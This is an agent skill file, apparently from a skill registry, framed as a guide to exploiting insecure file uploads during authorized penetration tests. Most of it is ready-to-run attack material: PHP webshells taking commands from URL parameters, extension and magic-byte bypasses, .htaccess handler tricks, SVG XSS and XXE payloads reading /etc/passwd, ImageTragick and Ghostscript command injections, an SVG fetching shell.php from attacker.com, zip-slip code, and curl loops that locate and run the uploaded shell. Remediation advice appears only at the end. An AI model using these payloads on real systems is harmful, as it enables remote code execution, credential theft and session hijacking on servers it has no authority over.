exploiting-file-upload-vulnerabilities
$
npx mdskill add xalgord/xalgorix/exploiting-file-upload-vulnerabilitiesIdentifies and exploits insecure file upload vulnerabilities to execute code remotely
- Analyzes application for file upload functionality and identifies potential security issues.
- Deploys payloads through file uploads to bypass security measures and gain unauthorized access.
- Decides on the most effective payload based on target environment (PHP, ASP, JSP) and user-agent settings.
- Delivers results by executing code remotely or causing denial of service, depending on the vulnerability.
SKILL.md
.github/skills/exploiting-file-upload-vulnerabilitiesView on GitHub ↗
--- name: exploiting-file-upload-vulnerabilities description: Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - file-upload - rce - owasp - web-security - webshell version: '1.0' author: xalgord license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - DE.CM-01 --- # Exploiting File Upload Vulnerabilities ## When to Use - During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments) - When testing file processing features (image resizing, document conversion, CSV/XML import) - For assessing applications with rich media upload (profile pictures, galleries, file managers) - When evaluating APIs with multipart form data endpoints - During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob) ## Critical: Payload Matrix and Bypasses (checklist-derived) ### Extension bypass matrix (PHP/ASP/JSP targets) ``` shell.php shell.php5 shell.phtml shell.pHp shell.php.jpg shell.php%00.jpg # null byte (older PHP/ASP) shell.php;.jpg shell.php/ shell.php.... # trailing dots (Windows strips) shell.asp;.jpg shell.aspx shell.jsp shell.svg shell.xml shell.html ``` - **Double extension:** `shell.php.jpg` (and reverse `shell.jpg.php`). - **Case toggling:** `.pHp`, `.PHP`, `.Php` to dodge case-sensitive blocklists. - **Trailing chars (Windows):** dots/spaces `shell.php.`, `shell.php ` get trimmed on save and execute. - **Path/parser confusion:** `shell.php;.jpg`, `shell.php/`, `shell.php%00.jpg`. ### Content-Type spoof ``` # Send a PHP body but declare an image MIME type Content-Type: image/png (or image/jpeg, image/gif) <?php system($_GET["cmd"]); ?> ``` ### Magic-byte prefixing (pass content sniffing) ``` GIF89a<?php system($_GET["cmd"]); ?> # GIF magic + PHP \xFF\xD8\xFF\xE0 + <?php ... ?> # JPEG magic + PHP \x89PNG\r\n\x1a\n + <?php ... ?> # PNG magic + PHP ``` ### Polyglots & handler-enabling uploads - **Polyglot files:** GIFAR (GIF+JAR), phar-jpg (valid JPEG that is also a PHP phar) — valid image AND executable. - **.htaccess (Apache):** upload `AddType application/x-httpd-php .xyz` then upload `shell.xyz`. - **web.config (IIS):** upload to enable handler mapping / inline `<%...%>` execution. ### SVG / image-library exploits ``` # SVG stored XSS <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><rect/></svg> # SVG XXE / SSRF <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg><text>&xxe;</text></svg> # ImageTragick / ImageMagick MVG/MSL (CVE-2016-3714) fill 'url(https://x"|id > /tmp/pwned")' # inside an .mvg/.msl uploaded as image ``` ### Path traversal / archive tricks in the filename ``` filename=../../../var/www/html/shell.php # traversal in upload path filename=..%2f..%2f..%2fshell.php # URL-encoded filename=..%252f..%252fshell.php # double-encoded zip-slip: archive entry "../../shell.php" # writes outside extract dir ``` ### Confirmation - Capture the **uploaded file URL** from the response (JSON `url`/`path`, redirect, or by enumerating `/uploads`, `/media`, `/files`). - **Request the file directly** and check behavior: code execution (e.g., `?cmd=id` returns command output), or for SVG/HTML open it and confirm script runs. - Check the served `Content-Type`/`Content-Disposition` — `text/html` or `x-httpd-php` (no `attachment`) means the payload will execute rather than download. ## Prerequisites - **Authorization**: Written penetration testing agreement including upload testing scope - **curl**: For crafting multipart upload requests - **exiftool**: For metadata injection (`apt install libimage-exiftool-perl`) - **Burp Suite**: For intercepting and modifying upload requests - **Weevely/phpggc**: For generating PHP webshells and deserialization payloads - **ImageMagick test images**: For ImageTragick exploitation - **Knowledge of target stack**: PHP, ASP.NET, Java, Node.js — determines viable shell extensions ## Workflow ### Step 1: Identify Upload Functionality and Map Restrictions Enumerate all upload endpoints and understand validation mechanisms. ```bash # Find upload endpoints by crawling katana -u https://target.example.com -d 3 | grep -iE "upload|file|attach|import|avatar|image|media" # Common upload endpoints: # /upload, /api/upload, /api/v1/files, /media/upload # /profile/avatar, /settings/photo, /documents/import # /api/attachments, /admin/import, /editor/images # Test basic upload and observe response curl -v -X POST \ -H "Authorization: Bearer $TOKEN" \ -F "[email protected]" \ "https://target.example.com/api/upload" # Check what file types are accepted for ext in php php3 php5 phtml pht phps php7 \ asp aspx ashx asmx svc \ jsp jspx jsw jsv \ py pl rb cgi sh \ svg html htm xml \ pdf docx xlsx csv; do echo "test" > "test.$ext" echo -n "$ext -> " curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $TOKEN" \ -F "file=@test.$ext" \ "https://target.example.com/api/upload" echo rm -f "test.$ext" done ``` ### Step 2: Bypass Extension Filters When the server blocks dangerous extensions, use bypass techniques. ```bash # === EXTENSION BYPASS TECHNIQUES === # Double extension cp shell.php shell.php.jpg curl -F "[email protected]" "$UPLOAD_URL" # Null byte injection (older PHP/ASP) cp shell.php "shell.php%00.jpg" curl -F "[email protected]%00.jpg" "$UPLOAD_URL" # Case manipulation cp shell.php shell.pHp cp shell.php shell.PHP cp shell.php shell.Php for f in shell.pHp shell.PHP shell.Php; do echo -n "$f -> " curl -s -o /dev/null -w "%{http_code}" -F "file=@$f" "$UPLOAD_URL" echo done # Alternative PHP extensions for ext in php3 php4 php5 php7 phtml pht phps phar; do cp shell.php "shell.$ext" echo -n "$ext -> " curl -s -o /dev/null -w "%{http_code}" -F "file=@shell.$ext" "$UPLOAD_URL" echo done # Trailing characters cp shell.php "shell.php." cp shell.php "shell.php " cp shell.php "shell.php::$DATA" # Windows NTFS ADS # Content-Type bypass (change MIME while keeping .php) curl -X POST \ -H "Authorization: Bearer $TOKEN" \ -F "[email protected];type=image/jpeg" \ "$UPLOAD_URL" # .htaccess upload (Apache) — make .xyz execute as PHP echo "AddType application/x-httpd-php .xyz" > .htaccess curl -F "[email protected]" "$UPLOAD_URL" echo '<?php system($_GET["cmd"]); ?>' > shell.xyz curl -F "[email protected]" "$UPLOAD_URL" ``` ### Step 3: Exploit Content-Type and Magic Byte Validation Bypass server-side content validation by manipulating headers and file internals. ```bash # === MAGIC BYTE INJECTION === # Create PHP shell with JPEG magic bytes (FFD8FF) printf '\xFF\xD8\xFF\xE0' > polyglot.php.jpg echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg curl -F "[email protected];type=image/jpeg" "$UPLOAD_URL" # Create PHP shell with PNG magic bytes (89504E47) printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > polyglot.php.png echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.png # Create PHP shell with GIF magic bytes (GIF89a) echo -n 'GIF89a' > polyglot.php.gif echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.gif curl -F "[email protected];type=image/gif" "$UPLOAD_URL" # Inject PHP into EXIF data of real image exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit-image.jpg mv legit-image.jpg shell.php.jpg curl -F "[email protected]" "$UPLOAD_URL" # SVG with embedded XSS (Stored XSS via upload) cat > xss.svg << 'EOF' <?xml version="1.0" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="100" height="100"/> </svg> EOF curl -F "[email protected];type=image/svg+xml" "$UPLOAD_URL" # SVG with SSRF via XXE cat > xxe.svg << 'EOF' <?xml version="1.0"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg> EOF curl -F "[email protected];type=image/svg+xml" "$UPLOAD_URL" ``` ### Step 4: Path Traversal via Filename Attempt to write files outside the upload directory. ```bash # Path traversal in filename header curl -X POST \ -H "Authorization: Bearer $TOKEN" \ -F "[email protected];filename=../../../var/www/html/shell.php" \ "$UPLOAD_URL" # URL-encoded traversal curl -X POST \ -F "[email protected];filename=..%2F..%2F..%2Fshell.php" \ "$UPLOAD_URL" # Double URL-encoded curl -X POST \ -F "[email protected];filename=..%252F..%252F..%252Fshell.php" \ "$UPLOAD_URL" # Backslash variant (Windows servers) curl -X POST \ -F "[email protected];filename=..\\..\\..\\inetpub\\wwwroot\\shell.aspx" \ "$UPLOAD_URL" # Overwrite critical files curl -X POST \ -F "[email protected];filename=.htaccess" \ "$UPLOAD_URL" ``` ### Step 5: Exploit Image Processing Libraries Target server-side image processing (ImageMagick, GD, Pillow). ```bash # ImageTragick (CVE-2016-3714) cat > exploit.mvg << 'EOF' push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")' pop graphic-context EOF curl -F "[email protected];filename=exploit.jpg" "$UPLOAD_URL" # ImageMagick SVG shell cat > exploit.svg << 'EOF' <image> <read filename="ephemeral:/tmp/test"/> <write filename="/tmp/shell.php"/> <svg xmlns="http://www.w3.org/2000/svg"> <image href="https://attacker.com/shell.php" /> </svg> </image> EOF # Ghostscript exploitation (PDF/EPS processing) cat > exploit.eps << 'EOF' %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops EOF curl -F "[email protected];filename=document.eps" "$UPLOAD_URL" # Zip Slip (archive extraction traversal) # Create a zip with path traversal entries python3 -c " import zipfile, io z = zipfile.ZipFile('zipslip.zip', 'w') z.writestr('../../../tmp/evil.txt', 'pwned') z.close() " curl -F "[email protected]" "$UPLOAD_URL" ``` ### Step 6: Verify Uploaded Webshell Execution After successful upload, locate and execute the shell. ```bash # Common upload directories to check for dir in /uploads /media /images /files /attachments \ /static/uploads /assets/uploads /content/images \ /wp-content/uploads /user/files; do echo -n "$dir/shell.php -> " curl -s -o /dev/null -w "%{http_code}" \ "https://target.example.com${dir}/shell.php" echo done # If upload returns file URL, test direct execution UPLOAD_URL=$(curl -s -F "[email protected]" "$UPLOAD_URL" | jq -r '.url // .path // .file_url') echo "Uploaded to: $UPLOAD_URL" curl -s "https://target.example.com${UPLOAD_URL}?cmd=id" # Test if uploaded file is served with correct content type curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type # If content-type is text/html or application/x-httpd-php → code will execute # Minimal PHP webshell for proof-of-concept (READ-ONLY commands only) echo '<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Unrestricted File Upload** | Application accepts any file without validation — direct RCE risk | | **Extension Blocklist** | Server blocks known dangerous extensions but can be bypassed with alternatives | | **MIME Type Validation** | Checking Content-Type header only — easily spoofed by the client | | **Magic Byte Validation** | Checking file header bytes — bypassed with polyglot files | | **Polyglot File** | A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP) | | **Path Traversal Upload** | Writing files outside the intended upload directory via filename manipulation | | **ImageTragick** | CVE-2016-3714 — ImageMagick command injection via crafted image files | | **Zip Slip** | Archive extraction vulnerability allowing file writes outside the target directory | | **Race Condition Upload** | File is briefly accessible before server-side validation deletes it | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite** | Intercept and modify upload requests, change Content-Type and filename | | **exiftool** | Inject payloads into image EXIF metadata | | **Weevely** | Generate obfuscated PHP webshells that evade signature detection | | **phpggc** | PHP deserialization gadget chain generator for upload+deserialize chains | | **fuxploider** | Automated file upload vulnerability scanner | | **upload-scanner (Burp extension)** | Automated upload bypass testing within Burp Suite | ## Common Scenarios ### Scenario 1: Avatar Upload to RCE Profile avatar upload accepts JPEG files. By uploading a polyglot file with GIF89a magic bytes and a .php.jpg double extension, the server stores it as PHP. Accessing the URL directly triggers PHP execution, achieving RCE. ### Scenario 2: SVG Upload to Stored XSS Application allows SVG uploads for user icons. An SVG containing `onload="alert(document.cookie)"` executes JavaScript in every user's browser who views the icon, enabling session hijacking. ### Scenario 3: ZIP Import with Path Traversal A bulk import feature extracts uploaded ZIP files. A crafted ZIP with `../../shell.php` entries writes a webshell to the web root outside the upload directory. ### Scenario 4: Document Converter SSRF A PDF-from-URL feature uses server-side rendering. Uploading an HTML file with `<iframe src="http://169.254.169.254/latest/meta-data/">` causes the renderer to fetch and embed cloud metadata in the generated PDF. ## Output Format ``` ## File Upload Vulnerability Finding **Vulnerability**: Unrestricted File Upload → Remote Code Execution **Severity**: Critical (CVSS 9.8) **Location**: POST /api/profile/avatar - `file` parameter **OWASP Category**: A04:2021 - Insecure Design ### Reproduction Steps 1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg 2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg 3. Server returns upload path: /uploads/avatars/shell.php.jpg 4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes 5. Command output: uid=33(www-data) gid=33(www-data) ### Impact - Full remote code execution as www-data user - Read access to application source code and configuration - Database credential extraction from config files - Potential lateral movement to internal services ### Recommendation 1. Validate file content using magic bytes AND re-encode images (strip metadata) 2. Use allowlist for file extensions (not blocklist) 3. Store uploads outside the web root with randomized non-guessable filenames 4. Serve uploads from a separate domain/CDN with no-execute headers 5. Set Content-Disposition: attachment for all uploaded files 6. Implement Content-Security-Policy to prevent inline script execution from SVG ```